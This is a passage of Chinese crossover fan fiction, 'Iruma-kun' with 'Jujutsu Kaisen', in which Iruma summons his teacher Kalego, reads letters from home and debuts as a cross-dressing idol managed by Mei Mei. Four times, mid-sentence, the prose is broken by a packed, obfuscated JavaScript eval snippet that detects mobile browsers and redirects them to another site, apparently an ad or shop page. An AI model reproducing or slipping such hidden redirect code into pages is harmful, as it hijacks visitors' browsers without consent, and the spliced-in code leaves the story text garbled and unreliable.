“轰隆隆——”地动山摇,神社周围惊起一群飞鸟,疯狂升级的魔植张牙舞爪地对他们发动攻击,并且远远超过了他们所能解决的范畴。 阿斯莫德抬手举起一团熊熊燃烧的地狱之火,朝着魔植扔了过去,谁料这样强悍的一击仿佛只是损伤皮肉,让受伤的魔植更加恼怒,一条枝蔓抽过去,阿斯莫德的衣服下立刻洇出一条血迹。 “阿兹君!!!” “不要紧,是考核时候的意外,不严重。”阿斯莫德咬着牙硬撑,“入间大人,快去安全的地方,我会为您争取攻击或者求救时间!” 入间也知道,不管是弓箭还是召唤,都是需要时间和不受干扰,于是压下干扰思维的情绪,闪身来到了魔植的盲区。 伴随着“咔嚓”的脆响,本就已经年久失修的神社彻底报废。 紧要关头,入间抓住灾厄之书,翻开其中一页:“卡鲁耶格老师,救命——” 伴随着入间的召唤,一只圆滚滚软绵绵的紫色恶魔翅膀小肥啾,出现了! 入间:“?!” 36.你爷爷来喽 “为什么会是使魔形态啊啊啊啊啊——” 卡鲁耶格老师,是巴拉姆老师的同期同学,两位也是关系非常好的朋友,在入间召唤之前就已经和巴拉姆老师告知过术式,并且进行过商议,下一次的信件由卡鲁耶格老师代为派送。 最重要的是——卡鲁耶格老师其实对入间的身份有所察觉。 但是现在,在召唤方面,明显劣势也出现了。 这里涉及到一些历史问题,即在刚入学的时候,因为是人类的关系,入间学着同学们在课堂上召唤使魔,魔法阵自动自发选择了离自己最近的恶魔卡鲁耶格,以至于卡鲁耶格老师不幸成为了历史上第一个被学生召唤成使魔的恶魔。 因为有这么一层从属关系,入间召唤使魔形态的毛茸茸小鸟版本卡鲁耶格老师,会比召唤任何人都要来得轻松。 “所以,灾厄之书,默认了更加轻松省能量的方式,帮你召唤到了他——” 艾利先生也扯着嗓子跟入间解释。 入间……入间欲哭无泪。 真善良,替他着想的出发点是好的,但是拜托先别出发。 使魔形态的老师……杀伤力很弱的吧?之前被变成使魔之后,完全是被他们家的管家欧佩拉抓着当玩具啊啊啊啊啊! 艾利先生顿时陷入沉思:“……” 要怎么告诉入间小弟,其实不是因为卡鲁耶格使魔形态没有战斗力,而是战斗力被你口中亲爱的欧佩拉压制了呢? 算了,让他自己看吧。 入间在短暂的打击过后重振旗鼓,使用恶食戒指内储存的魔力,重新拉弓搭箭,准备承担起帮助大家的重任。 艾利先生:“?!” 不对,他用的,可是我和他共用的能量啊! “入间小弟,你放心,你的老师不会这么菜的!” 涉及到自己的能量,艾利先生坐不住了,上蹿下跳试图让他放心。 “不,艾利先生,卡鲁耶格老师是因为我才回来的,我……” 这边还没拉扯几下,伴随着一声恐怖的狼嚎,卡鲁耶格所继承的家系能力黑犬刻尔柏洛斯就撕扯着周围的空间出现,叼住魔植,将它连根拔起并且撕碎。 入间呆呆地看着,瞪大了眼睛:“!!!” “我就说嘛。”艾利先生松了口气,懒洋洋地科普,“虽然卡鲁耶格作为使魔不能召唤自己的使魔,关键是这家伙本身就没有啊!他的家系能力就是专门召唤地狱三头犬,作为狗狗,刻尔柏洛斯的嫉妒心可是很强的。” 说着,艾利先生还不忘往旁边捂着伤口站起来的家伙那里看了一眼,意有所指:“说到狗狗,我觉得你应该有经验。” 但是还没转过头,它就看到这个被揶揄有经验的家伙飞速冲了过去:“阿兹君不要紧吗?身体怎么样?医疗用品还有吗?我来给你重新包扎伤口……” 艾利先生:“……” 真是的,怎么又是一个不喜欢听人说完话的。 等等,我为什么要说“又”? “入间小弟,你小子,也稍微关心一下这个魔植能不能被封印在灾厄之书里啊!” 当然,气冲冲的艾利先生得到了自己想要的结果:能。 而且封印之后放出来的魔植不仅是活的,并且非常老实,如臂使指。 “得满足两个条件,一个是失去意识,另一个是封印。”入间在包扎完阿斯莫德的伤口之后,若有所思,“我操控的魔植不是‘活着’的,而是类似于傀儡的存在。” “魔界也没有这样的家传术式吧?它是不是在学习这个世界的东西……”入间一脸若有所思地说出了有点瘆人的话,“应该是被什么咒术师启发了?不过我也不太清楚到底是哪个咒术师。” 艾利先生对此敬谢不敏:“说得它有了思维一样,真是适合在试胆大会说的恐怖故事。” 被遗忘在一旁的卡鲁耶格等了又等、忍了又忍,终于开口:“咳咳,现在,你,来解释情况!” 粗狂凶狠的声音从紫色的毛茸茸肥啾嘴巴里说出来真是格外割裂。 入间和卡鲁耶格面面相觑,立刻习惯性土下座:“卡鲁耶格老师,对不起!” 在无数次跟使魔培养感情的课程上,他疯狂滑跪向自己的使魔道歉已经形成了身体记忆。 “是这样的,在几个月前我们来到了这个人类世界……”入间比比划划,进行一番如此这般的解释,“总之,我真的不是故意要召唤使魔形态的您的!” 血泪教训,不要得罪你亲爱的教导主任兼授课老师,尤其是你打不过他的时候。 “算了……”卡鲁耶格不知道第几次叹气,这一届的学生都让他头痛,尤其是面前的这个,“早点回去。” “是!我们会努力的!” “哦,入间,我可爱的孙子——”谈话刚刚告一段落,卡鲁耶格的绒毛里就钻出两个圆滚滚的团子,一个有着噌光瓦亮的脑门儿,一个有着红色的头发和毛茸茸的猫耳猫尾。 入间猝不及防,就被脑袋溜光水滑的那只圆滚滚的恶魔扑脸,长着和沙利文一模一样面目的蛋形生物抱着入间的脑袋,用超级夸张的语气大声哭喊:“入间——我亲爱的孙子,好久不见——最近过得好吗?吃得好吗?是不是又瘦了?” “爷、爷爷……”入间抬手把蛋形生物抱下来,原本的思念和千言万语在这样热烈的拥抱面前顿时消失得无影无踪,取而代之的是熟悉的好笑和心安,“这是……分身吗?” “是魔偶啦,魔偶。因为物体不占据召唤需要的能量,所以能够被卡鲁耶格卿带过来。爷爷能够附身的时间有限,不过果然还是想和欧佩拉一起亲眼确认入间最近过得怎么样呢!” “爷爷你好像对这个很了解的样子?” “因为太思念我亲爱的孙子所以有所了解呢!” 卡鲁耶格:“……” 好烂的借口。 但是入间真信了,甚至非常感动的样子:“爷爷——” 卡鲁耶格:“……” 就这么没有脑子吗?这真是我的学生吗? 想到被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791521|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫“偷渡”魔偶来到异世界的卡鲁耶格带着一种被迫加班的疲惫,思来想去终于找到了能够当着校董面说出口的吐槽:“一个有手有脚的家伙怎么可能饿……” 但是似乎想起了入间的饭量,卡鲁耶格选择闭嘴。 按照那种一顿吃空三分之一食堂菜品的饭量,这个问题还真说不准。 当然他的吐槽无人在意,沙利文正沉浸在和孙子见面的快乐中。 “亲爱的孙子忽然就不见了,爷爷好难过呢!”蛋形生物顶着蛋花眼,捏了捏入间的脸蛋,“差点以为是遇到了什么需要棒打鸳鸯的恋情私奔去了异世界,让爷爷好伤心,爷爷不是那么不开明的老头子啊……毕竟入间当初被父母交给我的时候答应了会乖乖作为爷爷的孙子吧?” 入间:“……” 啊,更对味了,这种时不时流露出的属于恶魔的人外感觉。 “都说了我也不知道是什么情况啦!”入间大声反驳,“一觉醒来就在异世界了,现在我在努力找办法回去呢。” 所以不要说这么恐怖还有点病娇的话啦,你只是一个慈祥的爷爷! “好吧,反正穿越异世界的情况也不是没有过,爷爷会给亲爱的孙子想办法的。”沙利文眨了眨眼睛,“我和欧佩拉在家里等着你回来,还有,为什么不召唤爷爷和欧佩拉,果然是不爱我们了吗?” “因为欧佩拉不知道为什么召唤需要的能量很多……”入间叹了口气,“不知道为什么,灾厄之书上没有爷爷的信息呢……这样也好,毕竟召唤爷爷的话肯定是要更多的能量吧?” 说不定把整本书的能量榨干了还不够。 “没有爷爷的信息吗?”沙利文的魔偶委委屈屈趴在入间拿出来的灾厄之书上,短短的小手拍了拍书的封面,语气忽然正经,“哎呀,说不定哪天也能够召唤出来爷爷的哦,毕竟是爷爷的孙子,入间有无穷的潜力呢。” 槽多无口的卡鲁耶格:“……” 那得等到猴年马月啊!这家伙本身就是人类,不要有什么莫名其妙的指望啊! 沙利文不在乎,他一向是沉浸在自己的世界里的:“没有入间在家里,爷爷和欧佩拉真的很寂寞呢。” 旁边沉默寡言的欧佩拉魔偶耳朵微微下垂,垂头丧气地附和着沙利文的话。 “我我我一定会努力的爷爷!” 被沙利文寄予厚望的入间,莫名其妙地燃起来了。 圆滚滚魔偶满意地点了点头:“好,这才是爷爷亲爱的孙子,希望下次还能见面~爷爷会想你的。” 说完,眼睛里的光一下子黯淡下去,“啪嗒”一声碎掉,化为齑粉,大概是实在难以经受两个世界屏障的消磨。 入间有点惆怅地叹了口气,以为这就是所有联络了,没想到卡鲁耶格那只翅膀掏了掏,摸出了两块“板砖”:“除了这两个,还有你们的信。” 入间&阿斯莫德:“!!!” 您是说,这两块带着暗色花纹的紫色和粉色板砖,是我们的家书吗? 好沉重的爱! 37.卡鲁耶格的期望 显然,神社并不是一个适合叙旧的地方,尤其是在一场相当麻烦的战斗之后。 最重要的是,他们之前才在总监会惹祸,现在在忘记了放“帐”对普通人和周围动静进行屏蔽的情况下大打出手,一旦被发现那更是雪上加霜。 所以,他们选择在惊动别人之前先悄无声息地回到学校。 一路上自然要跟班主任汇报假期情况,表达出自己确实是特殊情况导致的没能好好地完成作业,最好的预想是卡鲁耶格能够轻轻放过,甚至于豁免他们的假期作业。 不过,作为问题儿童们的班主任,卡鲁耶格比起巴拉姆老师,询问的问题自然是更加详细,尤其是新的老师夜蛾正道的工作态度。 “毕竟是教师心得的主笔老师嘛。”艾利先生这么说道,“真是可靠的成年人啊,热烈欢迎下次再来,纳贝流士·卡鲁耶格。” 在讨论中,也无可避免提到了关于夜蛾正道对于总监会的复杂态度。 这人,卡鲁耶格也从巴拉姆的口中听说过,确实是个强者,不过从入间他们的学习生活种了解到的,却是另外的方面。 “要求躲避高层么?这种情况……”浑然不觉自己的痛苦打工生涯即将开启的卡鲁耶格沉吟片刻,做出判断,“你们……阿斯莫德同学应该清楚,即使是强大的恶魔结合生下的后代,也可能出现能力很弱的家伙,所以曾经出现过一种行业,叫做魔兽驯养,不过后来被强行禁止了。” “嗯,是的,我知道。” “而作为父母的大恶魔,会在他们有一定的攻击性之后,为他们抓住一些强大的魔兽幼崽,帮助他们进行驯养。这样一来,那些后代,他们一般会在入学之前签订使魔契约,来钻空子为自己提升位阶。” 卡鲁耶格顾虑到在场唯一一个对魔界不甚了解的人类入间,特意说得更加详细:“这种情况下的魔兽,被人为切断了自己原本的传承,并且磨平了野性。伴随着它长大的铁链,即使是成长成嗜血的猛兽,也不敢挣脱原本的枷锁。因为这个枷锁就跟它跟随的主人一样,在它的内心是难以逾越的,所以即使长大,也一直不能摆脱。” “既然有咒术师的学校,那么他们也是需要学习的吧?也就是说,在弱小的时候认为不可逾越的高山,长大之后也很难避开思维的惯性。” “你们那个新老师恐怕是因为被总监会束缚和威胁太久,所以难以产生反抗的念头。” 况且在咒术师都过分被孤立和被迫依附世家的情况下,没有足够强力的势力,是没有办法完全保护到身边所有人的。 一开始可能只是暂时性避其锋芒,也为了防止出现无辜伤亡,所以向着总监会低头,但是低头换来的不是放过而是变本加厉的压榨, 还有,不管是恶魔还是人类,都是会进行心理暗示的。 所以有些伪装,就是在消磨意气。说服着说服着,就真的相信当初骗过别人的话了。 从经历的角度,他同情这样的遭遇,也认为这位异世界的同行在关怀学生方面确实是个以恶魔们不一定能做到的温柔来对待学生的好老师。 但是,实在是不能赞成这位同行所处的水深火热的环境。 巴比鲁斯的教师们虽然平时对学生也没少下手,但是保护学生的生命安全是所有教师遵循的守则。 不过因为所处的情况和条件不同,卡鲁耶格也不能非常傲慢地对夜蛾的培养方式做出什么定论,这种情况还是要撼动整个结构才能将人彻底解放出来。 “入间同学,希望你能够和阿斯莫德一起改变这种现状。”卡鲁耶格怀着一种复杂的情感难得说了次比较软的话,不过内容却是语出惊人,“就像你在巴比鲁斯所表达出来的强烈的贪婪一样,团结身边的人挑战这种制度。” 就像曾经专属于魔王的教室,在你的努力下,通过我们这些教师的考验,让它重见天日,归属你们使用一样,改变在这种不公平环境下诞生的畸形制度。 “这是我作为你的老师对你所表达的期望。” 入间原本惆怅的神色忽然僵住:“对上总监会?我吗?” 卡——鲁——耶——格——老——师—— 怎么你也被阿兹君传染了吗? 我、我……为什么会对我抱着这样的期待啊! “对,没错!还有你们这两个臭小子赶快写好信让我带回去!”卡鲁耶格老师臭着一张小鸟脸,对着学生们命令道,“我的假期也是很忙的!” 一帮子坑货,一帮子麻烦,就沙利文校董家里的事情最多!莫名其妙被校董带来魔界还入学学校的这个人类对他来说更是沙利文家一脉相承的天克! 这种充满严厉的语气一出,不管是入间还是阿斯莫德都打了一个激灵,下意识道:“卡鲁耶格老师辛苦了!” 煽情的氛围被打断,入间连忙在宿舍翻箱倒柜,找出之前发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797457|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资时给家里人、家里的恶魔们买的特产,外加一盆格外讨喜的仙人掌,用土下座的形态虔诚“上供”:“这是给您的一份礼物!” 曾经为了王之教室的开启,或者说为了方便说服暗恋卡鲁耶格老师的女老师,入间他们偷看了卡鲁耶格老师的小本子,清楚地知道他喜欢仙人掌。 在确定麻烦跑一趟的人是卡鲁耶格老师之后,他们就立刻准备好了相应的礼物。 希望回去之后不会被罚作业QWQ。 “哼,还不错。”卡鲁耶格的小短腿划拉了一下花盆,虽然嘴上还有点勉强,但是对学生们的上道相当满意。 算了,都自己学生了,免为其难帮帮忙吧。 “不过,我会让巴拉姆帮忙转交你的礼物,绝对绝对不要让我和欧佩拉前辈遇到!” 毕竟即使是已经成为了学校的顶尖战斗力,他还是那个会被欧佩拉前辈按着欺负的倒霉蛋。 种种往事,简直不堪回首,尤其是在自己变成莫名其妙的使魔之后。 自认为已经成功发挥自己传信责任和关怀学生们假期活动的卡鲁耶格,带着学生们上贡的新品种仙人掌、以及大包小包来自于学生们带给家里的礼物,一扫被无良校董差使的阴霾愉快离开,绝不肯多占据一点能量,或者说以无助可爱的使魔小鸟形象多存在哪怕一秒。 “不愧是入间大人!” 对于卡鲁耶格表达的期望,最激动的是阿斯莫德。 毕竟他的目标一直是想让入间成为魔王,卡鲁耶格表达的委婉期待其实也是站队的观望。 如果入间真的能够在他的辅佐下建立新秩序的话,一定能够得到卡鲁耶格老师的支持。 因为母亲的缘故,阿斯莫德对于培养下任魔王继承人的“TS计划”有所耳闻,卡鲁耶格的支持对于本身就处在被选中列表中的入间来说,不算不可或缺,但也是相当重要。 而对于入间来说,这可是老师的认可耶,抛弃一切外在条件来说,问题儿童班谁不想要来自于卡鲁耶格这个阴森恐怖“大魔王”的肯定呢? 所以他和阿斯莫德一起激动了起来。 “一起变强吧,入间大人!” “嗯!” 当然,后面回到魔界的卡鲁耶格被守株待兔呆在办公室蹲守的欧佩拉抓到,蹂躏那一身软乎乎绒毛的悲惨故事还是选择按下不表,就让为人师表的威严氛围再持续一段时间吧。 38.照片上的是你? 而在恭敬送走倒霉的使魔老师卡鲁耶格之后,入间和阿斯莫德拆开了家书。 因为大概是两个世界的原因,其实他们并没有在魔界消失很久,家长都没有什么实感,所以送来的家书属于家里为了安定孩子的情绪写的,并没有太多有效信息。 只有长篇的担忧和对于学习的敦促。 当然,入间家情况稍显复杂,除了对于学习的敦促之外,主要是欧佩拉有条不紊汇报沙利文的日常,寄托入间大人在其他世界也要好好生活努力学习、成为合格沙利文家下一任家主的期望,还有沙利文见缝插针写下的“爷爷真的很想念我亲爱的孙子”“已经整整三天见不到面了”“已经整整六天见不到面了”“好想把人类世界炸掉呢”之类恐怖发言。 这是什么即使穿越了在学习新的东西也要努力不要丢了之前知识点的人间真实,听着真是人默恶魔泪。 入间分享不出来不代表阿斯莫德没有东西分享:“对于魔界来说,大的变化倒是没有,只有因为我的姑姑前来拜访,并且顺便为我们家进行了占卜。” “母亲大人……”说着,他露出了复杂的表情,“她祝我玩得愉快,并且说通过占卜结果来看,我会心想事成。” “欸?阿兹君是有什么心愿吗?”入间下意识问道。 阿斯莫德扪心自问,现在能成为入间大人身边唯一忠实可信的追随者确实很让人愉快,不过心想事成么…… “果然我还是想让入间大人统治人类世界!” 还有……或许还有别的什么,藏在阿斯莫德潜意识里的想法。但是那不重要,只要入间大人能够变成强者,能够以温暖的光辉照耀他人,阿斯莫德可以不在乎一切,万死不辞。 入间:“!!!” 这种心想事成真的好危险啊!没问题吗?占卜结果真的准确而不是在开玩笑吗?听起来完全不应该实现……啊? 像是想到了某种可能,入间顿时宕机。 艾利先生非常默契地和他想到了一块:“说起来,统治世界不一定需要武力……” 能够不分地域语言国籍覆盖世界的,不是武力,而是文娱产业啊! 入间:!!! 虽然不想承认,或者说觉得承认有点羞耻,但是…… 一回生二回熟,三回四回…… 入间思来想去,不管怎么样,目前的当务之急就是变强。而派发的咒灵工作非常随机,巴拉姆老师送给他的魔植种子已经被挥霍得差不多了,大概只能等到下次约定的时间才能再得到一些。 所以,就目前而言,对他来说最快最有效的方法,就是以偶像的身份最大限度汇集普通人,收集他们身上的咒力。 这次的占卜更是推了入间一把,就像是在告诉他这条路最好走一样。 所以,思来想去,入间看了看手机里的某个联系人,最后还是下定了决心。 “……是的……确实让我们感受到了一点压力……” 零零碎碎的通话声通过冥冥的手机传出,入间非常敏锐地察觉到了其中“伊露米”“地下偶像”之类的字眼。 怀着忐忑不安的心情,他和阿斯莫德走到了这个同期身边,抬手打了个招呼:“冥冥同学,好久不见。” “好久不见。”冥冥点了点头,对着他们微微一笑,“不过第二个学年我们就会经常见面了。” 她看了一眼自己的两个同期,自顾自说了下去:“因为东京的高专这一届的学生已经不止我一个了,所以我被送了回来。京都那边的要求是尽快,不知道在害怕什么。” 入间:“?!” 这样听着,真的会有种心虚的感觉啊——早不提晚不提,为什么要选在这个他们得罪了总监会的时间节点?总有种似乎是自己连累了同学,而总监会也透露出这个意思并且强调“是他们害了你”的意思在。 “怎么了,一脸心虚的样子?”冥冥想了想,“不会是不欢迎吧?” “不不不,没有没有!”入间连连摆手,但是不知道怎么跟人说“你的遭遇可能是因为我们”这种话。 听起来真的超级可恶啊! “没必要垮着脸。”冥冥倒是一副什么都不大放在心上的样子,“换个地方挣钱罢了,京都的限制还是挺多的。” 尤其是对术式强度和种类的歧视,由于第一学年入学的世家出身咒术师浓度过高,其氛围更是到了一种见者落泪闻者伤心的地步。 要不是普遍家里有点子钱,是有油水可捞的肥羊,可能她就退学转行当负责黑市交易的诅咒师去了。 入间闭了闭眼睛,视死如归:“要是真的有关系呢?” “给钱。” 塑料同期的关系,就是这样直白。 入间:“……” 要不还是别承认了吧? 试图转移话题的入间发出干干巴巴的笑声:“冥冥同学也对伊露米感兴趣吗?” 好在冥冥没有计较这个,或者说“伊露米”的信息所存在的价值远远大于计较这些小事的成本:“是的,你们认识吗?” 入间:“……是的呢。” 何止是认识,伊露米就站在你面前,来找你的原因还是打算请你帮忙作为中介介绍合适事务所出道呢。 “如果能提供信息的话,我可以原谅你们的行为。”从入间的试探里不难猜出京都校让她回来的一部分原因,虽然冥冥本身就没有什么追究的意思,不过能节省一笔人情是一笔,“没关系,只是我的某些客户非常希望能够了解关于‘短短时间内在圈子里走红又消失的偶像伊露米’的消息,为了维护感情,卖个人情罢了。” “我们……我们也是有事需要得到冥冥同学的帮助……”听起来,这个信息似乎有些价值,这给了入间一点自信,也无疑让他更加尴尬,“所以……所以关于‘伊露米’……” “哦?找我帮忙?”冥冥有些意外地挑眉,“好啊,不过话说前面,伊露米的信息只能给你们打折扣,不能完全免费。这不是斤斤计较,而是即使是总监会的大人们派给我额外的工作,我也会拒绝或者要求加钱的。” “好、好的!” 于是入间果断抛下了所有心理包袱,承认:“实不相瞒,我就是。你有什么需要知道的,都可以问我。” 冥冥:“……” 冥冥从容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801943|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得体的微笑露出了一丝裂痕:“等等……什么?你能再说一遍吗?” 入间:“我,就是伊露米。” 冥冥:“……” 她看了看手机里关于甜美少女偶像伊露米的照片,再看看面前忐忑不安的男性同期,依然不能把两张脸联系到一起。 一个是唱跳俱佳颇有天赋的萌妹,一个是虽然长得算清秀可爱挂但是总体来说一脸老实人样子的男性。 除了瞳色和发色,简直毫无共同点!!! 冥冥努力撑起微笑:“我需要一些证明。” 在亲眼看到入间的女装之后,冥冥沉默几秒,喃喃:“我信了。” 但是,实在是没想到,世界上真的有这种男装女装判若两人的家伙。这种特点要是用在变装潜伏上,不知道能少走多少弯路。 “我们……我们来找冥冥同学,就是想请冥冥同学给我们介绍一些合适的经纪人……”入间一狠心坦白了来意,“我打算组件个人工作室,继续以偶像的身份活跃。” 冥冥仔仔细细盯着入间,像是思索着什么,当入间被盯得受不了决定改口离开的时候,她轻描淡写扔下一句堪称原地惊雷的邀请:“可以,那我来当你的经纪人,合同上五五分,怎么样?” “欸???” 冥冥之所以提出这样的念头,主要是觉得这笔生意比单纯介绍还要划算。至于作为经纪人不是很有经验这点也不是问题——在赚钱的方向上,她一向学得很快,大不了去考个类似的证件。 她对着入间循循善诱:“你本身是男性,又是咒术师,一旦出道的话,要伪装女性,是不是有知根知底的人保驾护航更好?况且我有足够的人脉,你有足够的能力,我觉得我们的合作会很愉快。” 不得不说,冥冥确实厉害,入间被她彻底说服了:“好!那以后请多指教了!” “一定要是女性吗?”最难以承受的,居然是阿斯莫德,他只知道入间决定走偶像道路,但是……但是居然还是女装吗? 他说:“我去查过了,也有男性地下偶像的……” “这个嘛……” 作为经纪人的冥冥和作为当事人的入间,各有理由。 对于入间来说,其实换个身份以男性地下偶像出道也未尝不可——如果入间没有看到男性地下偶像培训的地点的话。 牛郎店,一个在入间的了解里是营造暧昧氛围、欺骗女性感情、并且必要时用身体笼络粉丝的地方。 加上冥冥表达出了对伊露米这个身份的兴趣,话语中透露出的“走红”,让入间意识到这个身份对他目前来说是最有利的。 至于冥冥…… “铃木同学作为男性的商业价值远远低于女性。” 这是她用商场浮沉多年的经验做出的狠辣判词:“铃木同学的身高并不算太高,并且男性外貌看起来过分可爱,‘不够男子气概’,并不能给大部分女性以恋爱的情绪价值,而且粉丝群体会受到相当大的限制。” 两票对一票,最后还是通过了入间女装出道的决定。 总而言之,入间同学,为了成为强者,开始了自己的女装偶像之路。 39.正轨下的暗流 “伊露米!伊露米!伊露米!” 小型演唱会的台下蔓延出一片蓝色的光潮,看起来像是普通自然的一场演出,然而各个年龄段都有所涉及的粉丝们已经在某种程度上表明了它的不平凡。 他们穿着应援的服装,手里握着应援棒,此时的年龄和性别都不再分明,都为了同一个人汇聚成一片欢呼的海洋。 几个月前横空出世的可爱偶像“伊露米”,在某事务所进行了几场表演之后忽然退隐,事务所的负责人也出面告知实际上她并没有正式和事务所签约,让不少因为她而入坑的粉丝感到相当失望。 大概是听到了大家的祈求,一个月后,伊露米以个人工作室的名义出道,并且花了大手笔在人流量很大的舞台进行了好几场专门的免费演出,用极短的时间收获了堪称狂热的一大批粉丝,被称为能让人浑身轻松、心态开阔的“治愈系”偶像。 后来当然也出现了一些模仿者,但是,虽然唱功过关,舞台表现力也很强,但是就是没有“让粉丝完全放松下来的能力”。 她的粉丝受众,大部分是那种平时气场很弱或者比较倒霉的家伙,乃至情绪压抑的三次元社畜,跟专业的粉丝重合不算特别大,甚至可以说是相当大的一片无人市场。 也因此,行内人虽然羡慕,却也不至于感觉到威胁,搞什么不正当竞争赶尽杀绝。 只有业内知情人感觉复杂——实际上这位“伊露米”,不仅是从精神上鼓舞“治愈”,还是从物理意义上抽走对于普通人来说有害无益的咒力、消灭咒灵,来达成对粉丝的“治愈”。 最重要的是,这位甜美可爱的少女,其实性别为男性。 一场酣畅淋漓的演出结束,某个本应该在后台处理道具工作人员环顾四周,确认无事之后,从某个道具气球里摸出藏着的什么东西,放进推车里,夹带着离开,通过长廊来到了偶像们的休息室。 他的脸贴在其中一间休息室的门上,像是试图窥探里面的情况,不过不知道为什么,这间本应该隔音很差的休息室,透不出一丝声音。 于是他咬咬牙,敲响了门:“您好,请问里面有人吗?” “是的,事实证明你确实有天赋,之前还需要垫钱,从这场演唱会开始就是别人花钱请你过来演出了,并且费用不低。”冥冥在电话的另一头远程恭喜,“等等,是不是有人?” 入间侧耳仔细听了听:“好像真的有。” 阿斯莫德则在一旁宽心:“没关系,现在房间是隔音的。” 冥冥也没问他们是怎么做到的:“总之,事实证明我的眼光很不错,祝工作室能够名气越来越大,我先去忙别的事情了。” 说着就挂断了电话。 阿斯莫德对着入间点了点头,然后打开了休息室的门:“请问有什么事情吗?” “伊露米小姐,我、我对您……”工作人员开口就是表白,在看清自己表白错了人,就试图推开挡路的家伙冲进去,对着正在休息、还处于一脸茫然状态的偶像结结巴巴地大喊大叫,“您就是我的救赎……我、我……” 而偶像身边那位扎着低马尾、身材高挑的红瞳女助理皱了皱眉,挡在了偶像面前:“抱歉,请走正规流程和伊露米小姐见面,恕我们不能接受这样的表白。” “阿兹……”入间也没想到阿斯莫德会这样严格地隔绝自己跟粉丝,不过阿兹君一定有他的道理,于是转过头对这位粉丝道歉,“非常感谢您的喜欢,不过我只是个普通人,不至于到救赎的程度,恕我不能接受您的礼物,这对于您来说是不公平的,希望您生活愉快。” 是的,虽然阿斯莫德不太能接受自己成为入间大人的同事再次一起上台演出,但是还是试图陪伴在入间身边随时保护,于是也被冥冥以“女性偶像身边的男性助理会造成不良影响,让粉丝担心”的理由套上了女装。 “为什么……为什么不能看看我呢?” 入间的拒绝之意实在明显,就差说这种感情可能是一时的错觉了。那人还想死缠烂打,却被阿斯莫德拎了起来:“我们无法接受这样的行为,麻烦你……您离开。” “不,不是这样的……我真的感觉到了……求求你,求求你……”那人痛哭流涕,从车里抱出自己藏下的花,试图塞进休息室,“求求你答应我……” “不,我们真的……” 反复的拉扯和拒绝终于将那人的耐心消耗殆尽,只见他在再一次被拒绝之后,赤红着眼睛,鼻子里喷出愤怒的气息,喃喃着“为什么你也要离开”就从花束里抽出一把刀试图大开杀戒。 当然最后也是被阿斯莫德拎起来扔了出去,顺便拨打了相关的处理电话给演唱会负责人。 毕竟报警也会对偶像本身产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806659|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生影响,阿斯莫德现在确实是个相当称职且专业的助理了,并且似乎正在为取代冥冥而努力。 事实上,这位狂热粉丝,大概是因为吊桥效应产生的依赖和爱意——毕竟他是是真的被入间救了一命。 入间对这个粉丝有一些印象,因为他在记人面孔上的天赋,所以一下子就想起来这个粉丝是一周前某个大型商场内演出的时候路过的观众,因为身上依附着一只咒灵,所以入间顺带手就祓除了。 当时,这人的精神状态已经很差了,双目无神、脚步踉跄,庞大的咒灵压在他的肩膀上,像是行走的、充斥着怨念的大山。 当时恰好演出结束,入间索性走了过去,拍了拍他的肩膀,让恶食戒指吸收掉那只咒灵,然后给他递了瓶水。 入间自认为自己只是做了别人都会做的事情,没想到……却因为这样的举动和被拯救的错觉,被人就这么盯上了。 “在人类世界当偶像,可真是个高危行业啊。”艾利先生啧啧称奇,“这份工作真是看不到头的辛苦,本身又没什么钱,我们这种单纯收集能量的也就算了,其他普通人为了被喜欢需要付出这么大的代价吗?” “毕竟……如果是女孩子或者被主流排斥在边缘的人,对于被喜欢的渴求一般来说会更大吧?”在阿斯莫德处理疯子粉丝的期间,入间收拾东西,一边换衣服一边说,“本身社会就对他们不友好,很多明媚的女孩子最后都只能被关在家里,还要听着‘既然是我来养着你就要心怀感激啊’之类的话。” “就像上次遇到的那对母女一样,不管怎么样,还是不能甘心的吧?在一眼就能看到头的未来里。” 。 某个机构内。 装饰着红色飞鸟和火焰字样的房间里,少女百无聊赖地翻着网站上各种节目视频。 